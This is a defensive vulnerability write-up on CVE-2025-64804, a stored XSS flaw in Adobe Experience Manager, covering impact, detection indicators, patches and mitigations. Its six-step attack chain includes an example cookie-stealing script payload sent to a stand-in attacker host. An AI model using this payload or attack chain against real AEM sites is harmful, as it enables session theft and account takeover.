CVE-2025-64804: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64804 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9, 2025, with Adobe releasing the advisory (APSB25-115) the same day. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the stored (persistent) XSS variant. A low-privileged, network-accessible attacker can inject malicious JavaScript into vulnerable AEM form fields; the payload is stored server-side and executes in a victim's browser when they navigate to the affected page. Exploitation requires user interaction (a victim browsing to the compromised page) but only low privileges to inject the payload. Attack patterns associated with this vulnerability include CAPEC-592 (Stored XSS) and CAPEC-591 (Reflected XSS) (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session on the AEM instance, resulting in limited confidentiality and integrity impact (e.g., session token theft, credential harvesting, or unauthorized actions performed on behalf of the victim). The changed scope indicates the injected script can affect resources beyond the attacker's own session. Availability is not directly impacted, but account takeover or privilege escalation through stolen session cookies could enable further lateral movement within the AEM environment (Adobe Advisory).

1. Reconnaissance: Identify AEM instances running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using web fingerprinting tools or Shodan searches for AEM-specific paths (e.g., /libs/granite/core/content/login.html).
2. Obtain low-privileged access: Register or obtain credentials for a low-privileged AEM author or contributor account, as the vulnerability requires authenticated access to submit content.
3. Identify vulnerable form fields: Navigate to AEM content authoring interfaces and identify form fields that accept and store user-supplied input without adequate sanitization.
4. Inject malicious payload: Submit a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable field and save/publish the content.
5. Trigger victim execution: Lure a higher-privileged user (e.g., an AEM administrator) to browse to the page containing the injected payload, causing the malicious script to execute in their browser context.
6. Harvest session data: Collect stolen session tokens or credentials from the attacker-controlled server to escalate privileges or perform unauthorized actions within AEM (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) containing encoded script tags or JavaScript event handlers (<script>, onerror=, onload=, javascript:) from low-privileged user accounts.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after accessing AEM-authored pages; unusual DNS lookups originating from AEM user sessions.
• File System / Content Repository: AEM JCR (Java Content Repository) nodes containing stored HTML with embedded <script> tags or obfuscated JavaScript in text/rich-text properties.
• Process/Application: AEM error logs showing unexpected JavaScript rendering or Content Security Policy (CSP) violation reports related to inline script execution.

Adobe has released patches addressing CVE-2025-64804 in AEM 6.5 Service Pack 24 (version 6.5.24.0) for on-premises deployments and in AEM Cloud Service release 2025.12.0. Organizations should upgrade to these versions immediately. As a temporary workaround, restricting content authoring access to trusted users only and enforcing a strict Content Security Policy (CSP) can reduce the attack surface. Review and audit existing AEM content for stored XSS payloads as part of remediation (Adobe Advisory).

The Center for Internet Security (CIS) issued an advisory noting multiple vulnerabilities in Adobe products, including this CVE, that could allow for arbitrary code execution, recommending prompt patching (CIS Advisory). No notable individual researcher commentary or significant social media discussion has been identified for this specific CVE beyond standard vulnerability tracking coverage.